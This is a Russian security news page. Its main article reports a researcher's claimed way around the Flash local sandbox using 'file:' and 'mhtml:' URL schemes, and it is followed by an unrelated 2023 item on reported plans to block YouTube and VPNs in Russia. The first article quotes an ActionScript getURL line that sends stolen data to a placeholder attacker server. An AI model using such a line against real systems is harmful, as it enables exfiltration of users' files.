Простой способ обхода «песочницы» Flash

Ксения Ренселаева 06 Января 2011 - 20:03

...

Был найден специалистом в области безопасности. Он утверждает, что даже если файл был запущен локально, то для злоумышленника отправить его на удаленный сервер не составит труда.

Как известно, компания Adobe в своей продукции предусмотрела некоторые меры по защите доступа к сети. Одной из мер является встроенная в приложение «песочница», посредством которой осуществляется контроль доступа к сети через черный список. В этот список включены заголовки протоколов, например HTTP и HTTPS.

Однако, исследователь в области безопасности Билли Риос, утверждает, что можно отправлять файлы на сервер, используя в заголовках запись «file:», но в этом случае данные будут гулять по локальной сети. А для отправки данных на удаленный сервер, по его мнению, вполне подойдет заголовок – mhtml.

Этот заголовок по умолчанию поддерживается в операционных системах семейства Windows, и поэтому данные могут быть отправлены при помощи ActionScript команды: «getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);». Стоит заметить, что для подтверждения своей гипотезы специалист не привел никаких демонстрационных материалов.

Конечно, удивительно, что настолько легко и просто можно обойти одну из «песочниц»
Flash. Однако, это открытие не представляет серьезной опасности, поскольку вряд ли пользователи будут специально скачивать себе на компьютер SWF файл, чтобы просмотреть через плеер. Обычно, такие файлы просматриваются в обозревателе, где предусмотрен иной набор правил.

Следующая главная новость »

Подписывайтесь на канал "Anti-Malware" в Яндекс Дзен, чтобы первыми узнавать о новостях и наших эксклюзивных материалах по информационной безопасности.

Олеся Афанасьева 29 Марта 2023 - 17:58

Соответствие законодательству РФ Домашние пользователи Государство Системы контентной веб-фильтрации

В Москву прилетели китайские специалисты по киберугрозам

В столицу прибыла группа из 40 китайских кибербезопасников. Речь может идти о совместной подготовке полной блокировки YouTube в России. Часть технологий предоставит армия Китая, остальное “заземлят” на российских и белорусских разработках.

О делегации специалистов из Китая пишет “Октагон.Медиа”. Визит подтверждает возможные договоренности между разведками стран по итогам визита Си Цзиньпина в Москву.

По информации интернет-издания, речь может идти о подготовке дорожной карты полной блокировки YouTube. Китайский “десант” будет помогать с анализом и технической стороной проекта.

Часть технологий от комплекса “великий китайский файрвол” предоставит Народно-освободительная армия Китая, остальное будет базироваться на российских и белорусских разработках, пишут журналисты.

По некоторым сведениям, блокировка YouTube будет возможна уже в IV квартале 2023 года.

Кроме того, китайские специалисты по киберугрозам помогут коллегам с блокировкой всех типов VPN.

По данным “Октагон.Медиа”, пилотный проект могут делегировать “Ростелекому”. В случае успеха полномочия блокировать VPN раздадут всем российским частным и полугосударственным провайдерам.

Добавим, российские власти последовательно отрицают возможность блокировки YouTube в стране. Последний раз комментарии пришлось давать в январе этого года после спорных заявлений бывшего руководителя Роскомнадзора, а ныне главы “Газпром-медиа” Александра Жарова и основателя ЧВК “Вагнер” Евгения Пригожина.

А на этой неделе журнал Forbes написал о том, что VK договаривается с крупными операторами об установке кэширующих серверов на их сетях, чтобы ускорить загрузку видеоконтента у пользователей. Эксперты считают, что своя CDN позволит VK подготовиться к скачку трафика в случае отключения YouTube.

Простой способ обхода «песочницы» Flash

Читайте также